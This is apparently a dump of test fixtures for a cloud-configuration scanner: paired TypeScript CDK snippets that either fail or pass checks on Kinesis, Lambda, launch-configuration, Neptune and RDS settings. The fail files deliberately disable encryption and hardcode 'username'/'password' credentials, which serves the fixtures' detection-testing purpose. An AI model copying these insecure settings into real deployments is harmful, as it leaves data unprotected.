    "content": "import { aws_kinesis as kinesis } from 'aws-cdk-lib';\n\nconst cfnSecurityConfigurationProps1: kinesis.CfnStreamProps = {\n  streamEncryption: { encryptionType: \"None\", keyId: \"dfdf\"},\n  name: 'name',\n};\n\nconst cfnSecurityConfigurationProps2: kinesis.CfnStreamProps = {\n  name: 'name',\n};\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/KinesisStreamEncryptionType/fail2.ts",
    "content": "import { aws_kinesis as kinesis } from 'aws-cdk-lib';\n\nconst cfnSecurityConfiguration1 = new kinesis.CfnStream(this, 'MyCfnSecurityConfiguration', {\n  streamEncryption: { encryptionType: \"None\", keyId: \"dfdf\"},\n  name: 'name',\n});\n\nconst cfnSecurityConfiguration2 = new kinesis.CfnStream(this, 'MyCfnSecurityConfiguration', {\n  name: 'name',\n});\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/KinesisStreamEncryptionType/pass.ts",
    "content": "import { aws_kinesis as kinesis } from 'aws-cdk-lib';\n\nconst cfnSecurityConfigurationProps1: kinesis.CfnStreamProps = {\n  streamEncryption: { encryptionType: \"KMS\", keyId: \"dfdf\"},\n  name: 'name',\n};\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/LambdaDLQConfigured/fail.ts",
    "content": "import { aws_lambda as lambda } from 'aws-cdk-lib';\nimport { aws_sam as sam } from 'aws-cdk-lib';\n\nconst cfnSecurityConfigurationProps1: lambda.FunctionProps = {\n  name: 'name',\n  role: \"\",\n};\n\nconst cfnSecurityConfigurationProps1: lambda.CfnFunctionProps = {\n  name: 'name',\n  role: \"\",\n};\n\nconst cfnSecurityConfigurationProps2: sam.CfnFunctionProps = {\n  name: 'name',\n};\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/LambdaDLQConfigured/fail2.ts",
    "content": "import { aws_lambda as lambda } from 'aws-cdk-lib';\nimport { aws_sam as sam } from 'aws-cdk-lib';\n\nconst cfnSecurityConfiguration1 = new lambda.Function(this, 'MyCfnSecurityConfiguration', {\n    role: \"\",\n    name: 'name',\n});\n\nconst cfnSecurityConfiguration2 = new lambda.CfnFunction(this, 'MyCfnSecurityConfiguration', {\n    role: \"\",\n    name: 'name',\n});\n\nconst cfnSecurityConfiguration3 = new sam.CfnFunction(this, 'MyCfnSecurityConfiguration', {\n    role: \"\",\n    name: 'name',\n});\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/LambdaDLQConfigured/pass.ts",
    "content": "import {aws_lambda as lambda} from 'aws-cdk-lib';\nimport {aws_sam as sam} from 'aws-cdk-lib';\n\nconst cfnSecurityConfiguration1 = new lambda.Function(this, 'MyCfnSecurityConfiguration', {\n    role: \"\",\n    name: 'name',\n    deadLetterQueue: {},\n    deadLetterQueueEnabled: true,\n});\n\nconst cfnSecurityConfiguration2 = new lambda.CfnFunction(this, 'MyCfnSecurityConfiguration', {\n    role: \"\",\n    name: 'name',\n    deadLetterConfig: {},\n});\n\nconst cfnSecurityConfiguration2 = new sam.CfnFunction(this, 'MyCfnSecurityConfiguration', {\n    role: \"\",\n    name: 'name',\n    deadLetterQueue: {},\n});"
  },
  {
    "path": "cdk_integration_tests/src/typescript/LambdaEnvironmentCredentials/fail.ts",
    "content": "import {aws_lambda as lambda} from 'aws-cdk-lib';\nimport {aws_sam as sam} from 'aws-cdk-lib';\n\nconst cfnSecurityConfigurationProps1: lambda.FunctionProps = {\n    name: 'name',\n    role: \"\",\n    environment: {\n        \"bla\": \"bla\",\n    }\n};\n\nconst cfnSecurityConfigurationProps2: lambda.CfnFunctionProps = {\n    name: 'name',\n    role: \"\",\n    environment: {\n        variables: {\n            \"bla\": \"bla\",\n        }\n    }\n};\n\nconst cfnSecurityConfigurationProps3: sam.CfnFunctionProps = {\n    name: 'name',\n    environment: {\n        variables: {\n            bla: \"bla\",\n        }\n    }\n};\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/LambdaEnvironmentCredentials/fail2.ts",
    "content": "import { aws_lambda as lambda } from 'aws-cdk-lib';\nimport { aws_sam as sam } from 'aws-cdk-lib';\n\nconst cfnSecurityConfiguration1 = new lambda.Function(this, 'MyCfnSecurityConfiguration', {\n    role: \"\",\n    name: 'name',\n    environment: {\n        \"bla\": \"bla\",\n    }\n});\n\nconst cfnSecurityConfiguration2 = new lambda.CfnFunction(this, 'MyCfnSecurityConfiguration', {\n    role: \"\",\n    name: 'name',\n    environment: {\n        variables: {\n            \"bla\": \"bla\",\n        }\n    }\n});\n\nconst cfnSecurityConfiguration3 = new sam.CfnFunction(this, 'MyCfnSecurityConfiguration', {\n    role: \"\",\n    name: 'name',\n    environment: {\n        variables: {\n            bla: \"bla\",\n        }\n    }\n});\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/LambdaEnvironmentCredentials/pass.ts",
    "content": "import {aws_lambda as lambda} from 'aws-cdk-lib';\nimport {aws_sam as sam} from 'aws-cdk-lib';\n\nconst cfnSecurityConfiguration1 = new lambda.Function(this, 'MyCfnSecurityConfiguration', {\n    role: \"\",\n    name: 'name',\n    environment: {\n        \"bla\": \"bla\",\n    },\n    environmentEncryption: {}\n});\n\nconst cfnSecurityConfiguration2 = new lambda.CfnFunction(this, 'MyCfnSecurityConfiguration', {\n    role: \"\",\n    name: 'name',\n    environment: {\n        variables: {\n            \"bla\": \"bla\",\n        }\n    },\n    kmsKeyArn: \"arn\"\n});\n\nconst cfnSecurityConfiguration3 = new sam.CfnFunction(this, 'MyCfnSecurityConfiguration', {\n    role: \"\",\n    name: 'name',\n    environment: {\n        variables: {\n            bla: \"bla\",\n        }\n    },\n    kmsKeyArn: \"arn\"\n});\n\nconst cfnSecurityConfigurationProps1: lambda.FunctionProps = {\n    name: 'name',\n    role: \"\",\n    environment: {\n        \"bla\": \"bla\",\n    },\n    environmentEncryption: {}\n};\n\nconst cfnSecurityConfigurationProps2: lambda.CfnFunctionProps = {\n    name: 'name',\n    role: \"\",\n    environment: {\n        variables: {\n            \"bla\": \"bla\",\n        }\n    },\n    kmsKeyArn: \"arn\"\n};\n\nconst cfnSecurityConfigurationProps3: sam.CfnFunctionProps = {\n    name: 'name',\n    environment: {\n        variables: {\n            bla: \"bla\",\n        }\n    },\n    kmsKeyArn: \"arn\"\n};\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/LambdaEnvironmentEncryptionSettings/fail.ts",
    "content": "import {aws_lambda as lambda} from 'aws-cdk-lib';\nimport {aws_sam as sam} from 'aws-cdk-lib';\n\nconst cfnSecurityConfigurationProps1: lambda.FunctionProps = {\n    name: 'name',\n    role: \"\",\n    environment: {\n        \"bla\": \"bla\",\n    }\n};\n\nconst cfnSecurityConfigurationProps2: lambda.CfnFunctionProps = {\n    name: 'name',\n    role: \"\",\n    environment: {\n        variables: {\n            \"bla\": \"bla\",\n        }\n    }\n};\n\nconst cfnSecurityConfigurationProps3: sam.CfnFunctionProps = {\n    name: 'name',\n    environment: {\n        variables: {\n            bla: \"bla\",\n        }\n    }\n};\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/LambdaEnvironmentEncryptionSettings/fail2.ts",
    "content": "import { aws_lambda as lambda } from 'aws-cdk-lib';\nimport { aws_sam as sam } from 'aws-cdk-lib';\n\nconst cfnSecurityConfiguration1 = new lambda.Function(this, 'MyCfnSecurityConfiguration', {\n    role: \"\",\n    name: 'name',\n    environment: {\n        \"bla\": \"bla\",\n    },\n});\n\nconst cfnSecurityConfiguration2 = new lambda.CfnFunction(this, 'MyCfnSecurityConfiguration', {\n    role: \"\",\n    name: 'name',\n    environment: {\n        variables: {\n            \"bla\": \"bla\",\n        }\n    }\n});\n\nconst cfnSecurityConfiguration3 = new sam.CfnFunction(this, 'MyCfnSecurityConfiguration', {\n    role: \"\",\n    name: 'name',\n    environment: {\n        variables: {\n            bla: \"bla\",\n        }\n    }\n});\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/LambdaEnvironmentEncryptionSettings/pass.ts",
    "content": "import {aws_lambda as lambda} from 'aws-cdk-lib';\nimport {aws_sam as sam} from 'aws-cdk-lib';\n\nconst cfnSecurityConfiguration1 = new lambda.Function(this, 'MyCfnSecurityConfiguration', {\n    role: \"\",\n    name: 'name',\n});\n\nconst cfnSecurityConfiguration2 = new lambda.CfnFunction(this, 'MyCfnSecurityConfiguration', {\n    role: \"\",\n    name: 'name',\n});\n\nconst cfnSecurityConfiguration3 = new sam.CfnFunction(this, 'MyCfnSecurityConfiguration', {\n    role: \"\",\n    name: 'name',\n});\n\nconst cfnSecurityConfigurationProps1: lambda.FunctionProps = {\n    name: 'name',\n    role: \"\",\n};\n\nconst cfnSecurityConfigurationProps2: lambda.CfnFunctionProps = {\n    name: 'name',\n    role: \"\",\n};\n\nconst cfnSecurityConfigurationProps3: sam.CfnFunctionProps = {\n    name: 'name',\n};\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/LambdaFunctionLevelConcurrentExecutionLimit/fail.ts",
    "content": "import {aws_lambda as lambda} from 'aws-cdk-lib';\nimport {aws_sam as sam} from 'aws-cdk-lib';\n\nconst cfnSecurityConfigurationProps1: lambda.FunctionProps = {\n    name: 'name',\n    role: \"\",\n    environment: {\n        \"bla\": \"bla\",\n    }\n};\n\nconst cfnSecurityConfigurationProps2: lambda.CfnFunctionProps = {\n    name: 'name',\n    role: \"\",\n    environment: {\n        variables: {\n            \"bla\": \"bla\",\n        }\n    }\n};\n\nconst cfnSecurityConfigurationProps3: sam.CfnFunctionProps = {\n    name: 'name',\n    environment: {\n        variables: {\n            bla: \"bla\",\n        }\n    }\n};\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/LambdaFunctionLevelConcurrentExecutionLimit/fail2.ts",
    "content": "import { aws_lambda as lambda } from 'aws-cdk-lib';\nimport { aws_sam as sam } from 'aws-cdk-lib';\n\nconst cfnSecurityConfiguration1 = new lambda.Function(this, 'MyCfnSecurityConfiguration', {\n    role: \"\",\n    name: 'name',\n    environment: {\n        \"bla\": \"bla\",\n    }\n});\n\nconst cfnSecurityConfiguration2 = new lambda.CfnFunction(this, 'MyCfnSecurityConfiguration', {\n    role: \"\",\n    name: 'name',\n    environment: {\n        variables: {\n            \"bla\": \"bla\",\n        }\n    }\n});\n\nconst cfnSecurityConfiguration3 = new sam.CfnFunction(this, 'MyCfnSecurityConfiguration', {\n    role: \"\",\n    name: 'name',\n    environment: {\n        variables: {\n            bla: \"bla\",\n        }\n    }\n});\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/LambdaFunctionLevelConcurrentExecutionLimit/pass.ts",
    "content": "import {aws_lambda as lambda} from 'aws-cdk-lib';\nimport {aws_sam as sam} from 'aws-cdk-lib';\n\nconst cfnSecurityConfiguration1 = new lambda.Function(this, 'MyCfnSecurityConfiguration', {\n    role: \"\",\n    name: 'name',\n    environment: {\n        \"bla\": \"bla\",\n    },\n    environmentEncryption: {},\n    \"reservedConcurrentExecutions\": 1,\n});\n\nconst cfnSecurityConfiguration2 = new lambda.CfnFunction(this, 'MyCfnSecurityConfiguration', {\n    role: \"\",\n    name: 'name',\n    environment: {\n        variables: {\n            \"bla\": \"bla\",\n        }\n    },\n    kmsKeyArn: \"arn\",\n    reservedConcurrentExecutions: 1,\n});\n\nconst cfnSecurityConfiguration3 = new sam.CfnFunction(this, 'MyCfnSecurityConfiguration', {\n    role: \"\",\n    name: 'name',\n    environment: {\n        variables: {\n            bla: \"bla\",\n        }\n    },\n    kmsKeyArn: \"arn\",\n    reservedConcurrentExecutions: 1,\n});\n\nconst cfnSecurityConfigurationProps1: lambda.FunctionProps = {\n    name: 'name',\n    role: \"\",\n    environment: {\n        \"bla\": \"bla\",\n    },\n    environmentEncryption: {},\n    reservedConcurrentExecutions: 1,\n};\n\nconst cfnSecurityConfigurationProps2: lambda.CfnFunctionProps = {\n    name: 'name',\n    role: \"\",\n    environment: {\n        variables: {\n            \"bla\": \"bla\",\n        }\n    },\n    kmsKeyArn: \"arn\",\n    reservedConcurrentExecutions: 1,\n};\n\nconst cfnSecurityConfigurationProps3: sam.CfnFunctionProps = {\n    name: 'name',\n    environment: {\n        variables: {\n            bla: \"bla\",\n        }\n    },\n    kmsKeyArn: \"arn\",\n    reservedConcurrentExecutions: 1,\n};\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/LambdaInVPC/fail.ts",
    "content": "import {aws_lambda as lambda} from 'aws-cdk-lib';\nimport {aws_sam as sam} from 'aws-cdk-lib';\n\nconst cfnSecurityConfigurationProps1: lambda.FunctionProps = {\n    name: 'name',\n    role: \"\",\n    environment: {\n        \"bla\": \"bla\",\n    }\n};\n\nconst cfnSecurityConfigurationProps2: lambda.CfnFunctionProps = {\n    name: 'name',\n    role: \"\",\n    environment: {\n        variables: {\n            \"bla\": \"bla\",\n        }\n    }\n};\n\nconst cfnSecurityConfigurationProps3: sam.CfnFunctionProps = {\n    name: 'name',\n    environment: {\n        variables: {\n            bla: \"bla\",\n        }\n    }\n};\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/LambdaInVPC/fail2.ts",
    "content": "import { aws_lambda as lambda } from 'aws-cdk-lib';\nimport { aws_sam as sam } from 'aws-cdk-lib';\n\nconst cfnSecurityConfiguration1 = new lambda.Function(this, 'MyCfnSecurityConfiguration', {\n    role: \"\",\n    name: 'name',\n});\n\nconst cfnSecurityConfiguration2 = new lambda.CfnFunction(this, 'MyCfnSecurityConfiguration', {\n    role: \"\",\n    name: 'name',\n    environment: {\n        variables: {\n            \"bla\": \"bla\",\n        }\n    }\n});\n\nconst cfnSecurityConfiguration3 = new sam.CfnFunction(this, 'MyCfnSecurityConfiguration', {\n    role: \"\",\n    name: 'name',\n    environment: {\n        variables: {\n            bla: \"bla\",\n        }\n    }\n});\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/LambdaInVPC/pass.ts",
    "content": "import {aws_lambda as lambda} from 'aws-cdk-lib';\nimport {aws_sam as sam} from 'aws-cdk-lib';\n\nconst cfnSecurityConfiguration1 = new lambda.Function(this, 'MyCfnSecurityConfiguration', {\n    role: \"\",\n    name: 'name',\n    environment: {\n        \"bla\": \"bla\",\n    },\n    environmentEncryption: {},\n    \"vpc\": {},\n});\n\nconst cfnSecurityConfiguration2 = new lambda.CfnFunction(this, 'MyCfnSecurityConfiguration', {\n    role: \"\",\n    name: 'name',\n    environment: {\n        variables: {\n            \"bla\": \"bla\",\n        }\n    },\n    kmsKeyArn: \"arn\",\n    vpcConfig: {},\n});\n\nconst cfnSecurityConfiguration3 = new sam.CfnFunction(this, 'MyCfnSecurityConfiguration', {\n    role: \"\",\n    name: 'name',\n    environment: {\n        variables: {\n            bla: \"bla\",\n        }\n    },\n    kmsKeyArn: \"arn\",\n    vpcConfig: {},\n});\n\nconst cfnSecurityConfigurationProps1: lambda.FunctionProps = {\n    name: 'name',\n    role: \"\",\n    environment: {\n        \"bla\": \"bla\",\n    },\n    environmentEncryption: {},\n    reservedConcurrentExecutions: 1,\n};\n\nconst cfnSecurityConfigurationProps2: lambda.CfnFunctionProps = {\n    name: 'name',\n    role: \"\",\n    environment: {\n        variables: {\n            \"bla\": \"bla\",\n        }\n    },\n    kmsKeyArn: \"arn\",\n    reservedConcurrentExecutions: 1,\n};\n\nconst cfnSecurityConfigurationProps3: sam.CfnFunctionProps = {\n    name: 'name',\n    environment: {\n        variables: {\n            bla: \"bla\",\n        }\n    },\n    kmsKeyArn: \"arn\",\n    reservedConcurrentExecutions: 1,\n};\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/LaunchConfigurationEBSEncryption/fail.ts",
    "content": "import {aws_autoscaling as autoscaling} from 'aws-cdk-lib';\n\nconst cfnSecurityConfigurationProps1: autoscaling.CfnLaunchConfigurationProps = {\n    imageId: 'imageId',\n    instanceType: 'instanceType',\n\n    // the properties below are optional\n    associatePublicIpAddress: false,\n    blockDeviceMappings: [{\n        deviceName: 'deviceName',\n\n        // the properties below are optional\n        ebs: {\n            deleteOnTermination: false,\n            encrypted: false,\n            iops: 123,\n            snapshotId: 'snapshotId',\n            throughput: 123,\n            volumeSize: 123,\n            volumeType: 'volumeType',\n        },\n        noDevice: false,\n        virtualName: 'virtualName',\n    }],\n    classicLinkVpcId: 'classicLinkVpcId',\n    classicLinkVpcSecurityGroups: ['classicLinkVpcSecurityGroups'],\n    ebsOptimized: false,\n    iamInstanceProfile: 'iamInstanceProfile',\n    instanceId: 'instanceId',\n    instanceMonitoring: false,\n    kernelId: 'kernelId',\n    keyName: 'keyName',\n    launchConfigurationName: 'launchConfigurationName',\n    metadataOptions: {\n        httpEndpoint: 'httpEndpoint',\n        httpPutResponseHopLimit: 123,\n        httpTokens: 'httpTokens',\n    },\n    placementTenancy: 'placementTenancy',\n    ramDiskId: 'ramDiskId',\n    securityGroups: ['securityGroups'],\n    spotPrice: 'spotPrice',\n    userData: 'userData',\n};\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/LaunchConfigurationEBSEncryption/fail2.ts",
    "content": "import {aws_autoscaling as autoscaling} from 'aws-cdk-lib';\n\nconst cfnSecurityConfiguration1 = new autoscaling.CfnLaunchConfiguration(this, 'MyCfnSecurityConfiguration', {\n    imageId: 'imageId',\n    instanceType: 'instanceType',\n    blockDeviceMappings: [{\n        deviceName: 'deviceName',\n\n        // the properties below are optional\n        ebs: {\n            deleteOnTermination: false,\n            encrypted: false,\n            iops: 123,\n            snapshotId: 'snapshotId',\n            throughput: 123,\n            volumeSize: 123,\n            volumeType: 'volumeType',\n        },\n        noDevice: false,\n        virtualName: 'virtualName',\n    }],\n});\n\nconst cfnSecurityConfiguration2 = new autoscaling.CfnLaunchConfiguration(this, 'MyCfnSecurityConfiguration', {\n    blockDeviceMappings: [{\n        ebs: {\n            encrypted: false,\n        },\n    }],\n});\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/LaunchConfigurationEBSEncryption/pass.ts",
    "content": "import { aws_autoscaling as autoscaling } from 'aws-cdk-lib';\n\nconst cfnSecurityConfiguration1 = new autoscaling.CfnLaunchConfiguration(this, 'MyCfnSecurityConfiguration', {\n    imageId: 'imageId',\n    instanceType: 'instanceType',\n    blockDeviceMappings: [{\n        deviceName: 'deviceName',\n\n        // the properties below are optional\n        ebs: {\n            deleteOnTermination: false,\n            encrypted: true,\n            iops: 123,\n            snapshotId: 'snapshotId',\n            throughput: 123,\n            volumeSize: 123,\n            volumeType: 'volumeType',\n        },\n        noDevice: false,\n        virtualName: 'virtualName',\n    }],\n});\n\nconst cfnSecurityConfiguration2 = new autoscaling.CfnLaunchConfiguration(this, 'MyCfnSecurityConfiguration', {\n    imageId: 'imageId',\n    instanceType: 'instanceType',\n    blockDeviceMappings: [{\n        deviceName: 'deviceName',\n\n        // the properties below are optional\n        ebs: {\n            deleteOnTermination: false,\n            iops: 123,\n            snapshotId: 'snapshotId',\n            throughput: 123,\n            volumeSize: 123,\n            volumeType: 'volumeType',\n        },\n        noDevice: false,\n        virtualName: 'virtualName',\n    }],\n});\n\nconst cfnSecurityConfiguration3 = new autoscaling.CfnLaunchConfiguration(this, 'MyCfnSecurityConfiguration', {\n    imageId: 'imageId',\n    instanceType: 'instanceType',\n    blockDeviceMappings: [{\n        deviceName: 'deviceName',\n        noDevice: false,\n        virtualName: 'virtualName',\n    }],\n});\n\nconst cfnSecurityConfigurationProps1: autoscaling.CfnLaunchConfigurationProps = {\n    imageId: 'imageId',\n    instanceType: 'instanceType',\n\n    // the properties below are optional\n    associatePublicIpAddress: false,\n    blockDeviceMappings: [{\n        deviceName: 'deviceName',\n\n        // the properties below are optional\n        ebs: {\n            deleteOnTermination: false,\n            encrypted: true,\n            iops: 123,\n            snapshotId: 'snapshotId',\n            throughput: 123,\n            volumeSize: 123,\n            volumeType: 'volumeType',\n        },\n        noDevice: false,\n        virtualName: 'virtualName',\n    }],\n    classicLinkVpcId: 'classicLinkVpcId',\n    classicLinkVpcSecurityGroups: ['classicLinkVpcSecurityGroups'],\n    ebsOptimized: false,\n    iamInstanceProfile: 'iamInstanceProfile',\n    instanceId: 'instanceId',\n    instanceMonitoring: false,\n    kernelId: 'kernelId',\n    keyName: 'keyName',\n    launchConfigurationName: 'launchConfigurationName',\n    metadataOptions: {\n        httpEndpoint: 'httpEndpoint',\n        httpPutResponseHopLimit: 123,\n        httpTokens: 'httpTokens',\n    },\n    placementTenancy: 'placementTenancy',\n    ramDiskId: 'ramDiskId',\n    securityGroups: ['securityGroups'],\n    spotPrice: 'spotPrice',\n    userData: 'userData',\n};\n\nconst cfnSecurityConfigurationProps2: autoscaling.CfnLaunchConfigurationProps = {\n    imageId: 'imageId',\n    instanceType: 'instanceType',\n\n    // the properties below are optional\n    associatePublicIpAddress: false,\n    blockDeviceMappings: [{\n        deviceName: 'deviceName',\n        noDevice: false,\n        virtualName: 'virtualName',\n    }],\n    classicLinkVpcId: 'classicLinkVpcId',\n    classicLinkVpcSecurityGroups: ['classicLinkVpcSecurityGroups'],\n    ebsOptimized: false,\n    iamInstanceProfile: 'iamInstanceProfile',\n    instanceId: 'instanceId',\n    instanceMonitoring: false,\n    kernelId: 'kernelId',\n    keyName: 'keyName',\n    launchConfigurationName: 'launchConfigurationName',\n    metadataOptions: {\n        httpEndpoint: 'httpEndpoint',\n        httpPutResponseHopLimit: 123,\n        httpTokens: 'httpTokens',\n    },\n    placementTenancy: 'placementTenancy',\n    ramDiskId: 'ramDiskId',\n    securityGroups: ['securityGroups'],\n    spotPrice: 'spotPrice',\n    userData: 'userData',\n};\n\nconst cfnSecurityConfigurationProps3: autoscaling.CfnLaunchConfigurationProps = {\n    imageId: 'imageId',\n    instanceType: 'instanceType',\n\n    // the properties below are optional\n    associatePublicIpAddress: false,\n    classicLinkVpcId: 'classicLinkVpcId',\n    classicLinkVpcSecurityGroups: ['classicLinkVpcSecurityGroups'],\n    ebsOptimized: false,\n    iamInstanceProfile: 'iamInstanceProfile',\n    instanceId: 'instanceId',\n    instanceMonitoring: false,\n    kernelId: 'kernelId',\n    keyName: 'keyName',\n    launchConfigurationName: 'launchConfigurationName',\n    metadataOptions: {\n        httpEndpoint: 'httpEndpoint',\n        httpPutResponseHopLimit: 123,\n        httpTokens: 'httpTokens',\n    },\n    placementTenancy: 'placementTenancy',\n    ramDiskId: 'ramDiskId',\n    securityGroups: ['securityGroups'],\n    spotPrice: 'spotPrice',\n    userData: 'userData',\n};\n\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/NeptuneClusterStorageEncrypted/fail.ts",
    "content": "import { aws_neptune as neptune } from 'aws-cdk-lib';\n\nconst cfnDBCluster1: neptune.CfnDBClusterProps = {\n  associatedRoles: [{\n    roleArn: 'roleArn',\n\n    // the properties below are optional\n    featureName: 'featureName',\n  }],\n  availabilityZones: ['availabilityZones'],\n  backupRetentionPeriod: 123,\n  copyTagsToSnapshot: false,\n  dbClusterIdentifier: 'dbClusterIdentifier',\n  dbClusterParameterGroupName: 'dbClusterParameterGroupName',\n  dbInstanceParameterGroupName: 'dbInstanceParameterGroupName',\n  dbPort: 123,\n  dbSubnetGroupName: 'dbSubnetGroupName',\n  deletionProtection: false,\n  enableCloudwatchLogsExports: ['enableCloudwatchLogsExports'],\n  engineVersion: 'engineVersion',\n  iamAuthEnabled: false,\n  kmsKeyId: 'kmsKeyId',\n  preferredBackupWindow: 'preferredBackupWindow',\n  preferredMaintenanceWindow: 'preferredMaintenanceWindow',\n  restoreToTime: 'restoreToTime',\n  restoreType: 'restoreType',\n  serverlessScalingConfiguration: {\n    maxCapacity: 123,\n    minCapacity: 123,\n  },\n  snapshotIdentifier: 'snapshotIdentifier',\n  sourceDbClusterIdentifier: 'sourceDbClusterIdentifier',\n  storageEncrypted: false,\n  tags: [{\n    key: 'key',\n    value: 'value',\n  }],\n  useLatestRestorableTime: false,\n  vpcSecurityGroupIds: ['vpcSecurityGroupIds'],\n});\n\nconst cfnDBCluster2: neptune.CfnDBClusterProps =  {\n  storageEncrypted: false,\n};\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/NeptuneClusterStorageEncrypted/fail2.ts",
    "content": "import { aws_neptune as neptune } from 'aws-cdk-lib';\n\nconst cfnDBCluster1 = new neptune.CfnDBCluster(this, 'MyCfnDBCluster', /* all optional props */ {\n  associatedRoles: [{\n    roleArn: 'roleArn',\n\n    // the properties below are optional\n    featureName: 'featureName',\n  }],\n  availabilityZones: ['availabilityZones'],\n  backupRetentionPeriod: 123,\n  copyTagsToSnapshot: false,\n  dbClusterIdentifier: 'dbClusterIdentifier',\n  dbClusterParameterGroupName: 'dbClusterParameterGroupName',\n  dbInstanceParameterGroupName: 'dbInstanceParameterGroupName',\n  dbPort: 123,\n  dbSubnetGroupName: 'dbSubnetGroupName',\n  deletionProtection: false,\n  enableCloudwatchLogsExports: ['enableCloudwatchLogsExports'],\n  engineVersion: 'engineVersion',\n  iamAuthEnabled: false,\n  kmsKeyId: 'kmsKeyId',\n  preferredBackupWindow: 'preferredBackupWindow',\n  preferredMaintenanceWindow: 'preferredMaintenanceWindow',\n  restoreToTime: 'restoreToTime',\n  restoreType: 'restoreType',\n  serverlessScalingConfiguration: {\n    maxCapacity: 123,\n    minCapacity: 123,\n  },\n  snapshotIdentifier: 'snapshotIdentifier',\n  sourceDbClusterIdentifier: 'sourceDbClusterIdentifier',\n  storageEncrypted: false,\n  tags: [{\n    key: 'key',\n    value: 'value',\n  }],\n  useLatestRestorableTime: false,\n  vpcSecurityGroupIds: ['vpcSecurityGroupIds'],\n});\n\nconst cfnDBCluster2 = new neptune.CfnDBCluster(this, 'MyCfnDBCluster', /* all optional props */ {\n  storageEncrypted: false,\n});"
  },
  {
    "path": "cdk_integration_tests/src/typescript/NeptuneClusterStorageEncrypted/pass.ts",
    "content": "import {aws_neptune as neptune} from 'aws-cdk-lib';\n\nconst cfnDBCluster1 = new neptune.CfnDBCluster(this, 'MyCfnDBCluster', /* all optional props */ {\n    associatedRoles: [{\n        roleArn: 'roleArn',\n\n        // the properties below are optional\n        featureName: 'featureName',\n    }],\n    availabilityZones: ['availabilityZones'],\n    backupRetentionPeriod: 123,\n    copyTagsToSnapshot: false,\n    dbClusterIdentifier: 'dbClusterIdentifier',\n    dbClusterParameterGroupName: 'dbClusterParameterGroupName',\n    dbInstanceParameterGroupName: 'dbInstanceParameterGroupName',\n    dbPort: 123,\n    dbSubnetGroupName: 'dbSubnetGroupName',\n    deletionProtection: false,\n    enableCloudwatchLogsExports: ['enableCloudwatchLogsExports'],\n    engineVersion: 'engineVersion',\n    iamAuthEnabled: false,\n    kmsKeyId: 'kmsKeyId',\n    preferredBackupWindow: 'preferredBackupWindow',\n    preferredMaintenanceWindow: 'preferredMaintenanceWindow',\n    restoreToTime: 'restoreToTime',\n    restoreType: 'restoreType',\n    serverlessScalingConfiguration: {\n        maxCapacity: 123,\n        minCapacity: 123,\n    },\n    snapshotIdentifier: 'snapshotIdentifier',\n    sourceDbClusterIdentifier: 'sourceDbClusterIdentifier',\n    storageEncrypted: true,\n    tags: [{\n        key: 'key',\n        value: 'value',\n    }],\n    useLatestRestorableTime: false,\n    vpcSecurityGroupIds: ['vpcSecurityGroupIds'],\n});\n\nconst cfnDBCluster2 = new neptune.CfnDBCluster(this, 'MyCfnDBCluster', /* all optional props */ {\n    storageEncrypted: true,\n});\n\nconst cfnDBCluster4: neptune.CfnDBClusterProps = {\n  associatedRoles: [{\n    roleArn: 'roleArn',\n\n    // the properties below are optional\n    featureName: 'featureName',\n  }],\n  availabilityZones: ['availabilityZones'],\n  backupRetentionPeriod: 123,\n  copyTagsToSnapshot: false,\n  dbClusterIdentifier: 'dbClusterIdentifier',\n  dbClusterParameterGroupName: 'dbClusterParameterGroupName',\n  dbInstanceParameterGroupName: 'dbInstanceParameterGroupName',\n  dbPort: 123,\n  dbSubnetGroupName: 'dbSubnetGroupName',\n  deletionProtection: false,\n  enableCloudwatchLogsExports: ['enableCloudwatchLogsExports'],\n  engineVersion: 'engineVersion',\n  iamAuthEnabled: false,\n  kmsKeyId: 'kmsKeyId',\n  preferredBackupWindow: 'preferredBackupWindow',\n  preferredMaintenanceWindow: 'preferredMaintenanceWindow',\n  restoreToTime: 'restoreToTime',\n  restoreType: 'restoreType',\n  serverlessScalingConfiguration: {\n    maxCapacity: 123,\n    minCapacity: 123,\n  },\n  snapshotIdentifier: 'snapshotIdentifier',\n  sourceDbClusterIdentifier: 'sourceDbClusterIdentifier',\n  storageEncrypted: true,\n  tags: [{\n    key: 'key',\n    value: 'value',\n  }],\n  useLatestRestorableTime: false,\n  vpcSecurityGroupIds: ['vpcSecurityGroupIds'],\n});\n\nconst cfnDBCluster5: neptune.CfnDBClusterProps =  {\n  storageEncrypted: true,\n};\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/RDSEnhancedMonitorEnabled/fail2.ts",
    "content": "import {aws_rds as rds} from 'aws-cdk-lib';\n\nconst instance2 = new rds.DatabaseInstance(this, \"PostgresInstance2\", {\n    engine: rds.DatabaseInstanceEngine.POSTGRES,\n    credentials: {\n        username: 'username',\n        password: 'password'\n    },\n    monitoringInterval: 0,\n});\n\nconst instance1 = new rds.DatabaseInstance(this, \"PostgresInstance2\", {\n    engine: rds.DatabaseInstanceEngine.POSTGRES,\n    credentials: {\n        username: 'username',\n        password: 'password'\n    },\n    monitoringInterval: -1,\n});\n\nconst instance3 = new rds.DatabaseInstance(this, \"PostgresInstance2\", {\n    engine: rds.DatabaseInstanceEngine.POSTGRES,\n    credentials: {\n        username: 'username',\n        password: 'password'\n    },\n});\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/RDSEnhancedMonitorEnabled/pass.ts",
